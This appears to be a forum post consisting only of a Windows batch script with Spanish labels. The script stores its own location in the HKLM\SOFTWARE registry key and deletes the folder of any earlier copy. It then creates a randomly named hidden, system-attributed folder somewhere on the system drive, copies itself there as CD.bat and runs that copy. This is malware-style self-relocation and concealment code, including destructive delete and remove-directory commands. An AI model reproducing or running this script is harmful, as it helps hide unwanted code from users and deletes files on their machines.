Código:
@ECHO OFF
SetLocal EnableDelayedExpansion
:SeteandoVariables
SET ClaveDelRegistro=HKLM\SOFTWARE
SET ValorDelRegistro=CD
SET MELT=1
SET NAME=
:ModificandoClaveDelRegistro
REG QUERY "%ClaveDelRegistro%" /v "%ValorDelRegistro%">temp
FOR /F "tokens=3*" %%A IN ('findstr REG_SZ "temp"') DO (IF "%%B" NEQ "" SET B= %%B
SET RutaAntigua=%%A!B!)
REG ADD "%ClaveDelRegistro%" /v "%ValorDelRegistro%" /f /d "%~dp0
IF "%RutaAntigua%"=="" (GOTO SeteandoVariables)
IF "%RutaAntigua%" NEQ "%~dp0" (SET MELT=0)
IF "%RutaAntigua%" NEQ "" IF %MELT%==0 ATTRIB -H -S "%RutaAntigua:~0,-1%" /S /D
IF "%RutaAntigua%" NEQ "" IF %MELT%==0 CD "%RutaAntigua%"
IF "%RutaAntigua%" NEQ "" IF %MELT%==0 FOR /R %%A IN (*.*) DO (DEL /P "%%A")
IF "%RutaAntigua%" NEQ "" IF %MELT%==0 cd ..
IF "%RutaAntigua%" NEQ "" IF %MELT%==0 rd /S "%RutaAntigua%"
:EligiendoCarpeta
CD /D %HOMEDRIVE%\
SET /A MAX=%RANDOM% %% 4000 + 1000
FOR /D /R %%A IN (*) DO (SET Carpeta=%%A
SET /A NUM=!RANDOM! %% %MAX% + 1
IF !NUM!==1 (GOTO ComprobandoErrorN1))
:ComprobandoErrorN1
echo %Carpeta%
IF %ERRORLEVEL% NEQ 0 (GOTO EligiendoCarpeta)
IF "%CARPETA%" NEQ "%CARPETA:)=%" (GOTO EligiendoCarpeta)
:GenerandoNombre
SET /A CHARNUM=%RANDOM% %% 25 + 1
SET CONT=0
FOR /L %%A IN (1,1,%CHARNUM%) DO (
SET /A CHAR=!RANDOM! %% 51
FOR %%B IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 0 ! @ # $ ~ ( = [ ] { } . , ; ' - _ +) DO (
SET /A CONT=!CONT!+1
IF !CHAR!==!CONT! SET CHAR=%%B
)
IF !CHAR!==0 (SET CHAR= )
SET NAME=!NAME!!CHAR!
SET CONT=0
)
:Informando
echo %NAME%
echo %MELT%
:ComprobandoMelt
IF %MELT%==0 (echo NO MELT THIS TIME)
IF %MELT%==0 (GOTO SeteandoVariables)
:CreandoCarpeta
cd "%Carpeta%"
md "%NAME%"
ATTRIB +H +S "%NAME%"
cd "%NAME%"
:Copiando
copy "%~f0" "CD.bat"
pause
:AbriendoCopia
"%Carpeta%\%NAME%\CD.bat"